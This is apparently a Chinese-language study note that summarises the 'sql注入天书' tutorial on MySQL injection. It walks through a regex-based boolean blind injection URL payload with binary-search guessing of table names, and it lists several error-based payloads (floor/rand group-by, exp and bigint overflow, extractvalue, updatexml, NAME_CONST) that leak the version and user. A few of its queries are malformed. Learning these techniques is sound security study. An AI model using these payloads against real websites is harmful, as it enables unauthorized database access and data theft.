《sql注入天书》基础知识梳理

上古bug

P.S.本文整理自《sql注入天书》,部分内容摘抄自这本书,加以小修改,和一些注解,记录下自己在学习过程中遇到的坑。


数据库

关于系统数据库information_schema

所有数据库:select schema_name from information_schema.schemata; xxx数据库里的所有数据表:select table_name from information_schema.tables where table_schema="xxx"; xxx表里面所有列:select column_name from information_schema.columns where table_name="xxx";

语法

几种注释

  1. #bla...
  2. bla--+blabla... 这里--的作用与#基本相同,不同的是--后面必须有一个空格,众所周知,在url编码里,空格常被+代替为了避免空格被地址栏忽略,可能就是我们把空格打成+(我猜的)。
  3. /*bla...*/

整型列的查询不需要闭合单引号

sql查询时如果要判断某个整数列比如id为某个数时,引号不需要闭合,select *** from *** where id=1select *** from *** where id="1"select *** from *** where id="1'"所得到的结果是一样的!

函数

系统函数

几个常用函数:

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@datadir——数据库路径
  5. @@version_compile_os——操作系统版本

字符串

连接

  1. concat(str1,str2,...)——没有分隔符地连接字符串
  2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
  3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。

截断

以下所有字符参数可以为sql查询语句

  1. left(a,b)从左侧截取 a 的前 b 位
  2. mid(a,b,c) 或者 substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
  3. ascii() 或者 ord() 将字符转换为ascii码。

检查是否匹配正则表达式

1
字符串 regexp '正则表达式'

sql注入

基于正则的布尔盲注

如何返回正则匹配结果

判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

1
?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-z]' limit 0,1)--+

如果存在table_name符合要求那么limit 0,1就会将结果变成符合要求的第一个表,经过select 1这一列,会返回1进而与左边相等。 而如果没有符合要求的表名,那么右边就会是empty set了,与左边不想等。 同时,由于每个数据库会有多个表,如apps与access就都以a开头,那么我怎么知道以a开头的有几个呢?只需调整为limit 1,1看看能否成功选取匹配的第二张表名即可。

猜表名的过程——二分

以下是猜表名第一位的过程中,前文sql语句中正则表达式的变化及查询的返回结果。

1
2
3
4
5
6
7
8
^[a-z]->true	#说明是字母
^[a-m]->false	#说明在n-z里
^[n-t]->false	#说明在u-z里
^[u-w]->true	#说明在u-w里
^[u-v]->false	#说明是w
接下来按类似方法尝试
^w[a-z]
...以此类推

基于报错的 SQL 盲注

1
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

注释: 这里的concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a意思其实是跟concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) as a一样的! 这种注入方法原理:https://blog.csdn.net/qq_35544379/article/details/77453019 //explain:此处有三个点,一是需要 concat 计数,二是 floor,取得 0 or 1,进行数据的重复,三是 group by 进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为 mysql 的 bug 的问题。但是此处需要将 rand(0),rand()需要多试几次才行。 以上语句可以简化成如下的形式。

1
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

1
select count(*) from select !1) group by (select 1 union select null union concat(version(),floor(rand(0)*2))

如果 rand 被禁用了可以使用用户变量来报错

1
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

1
select exp(~(select * FROM(SELECT USER())a))

//double 数值类型超出范围 //Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上 可以参考 exp 报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html

1
select !(select * from (select user())x) -(ps:这是减号) ~0

//bigint 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 及其以上 20Mysql 注入—sqlilabs—lcamry 可以参考文章 bigint 溢出文章 http://www.cnblogs.com/lcamry/articles/5509112.html

1
select extractvalue(1,concat(0x7e,(select @@version),0x7e));

//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

1
select updatexml(1,concat(0x7e,(select @@version),0x7e),1);

//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误

1
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;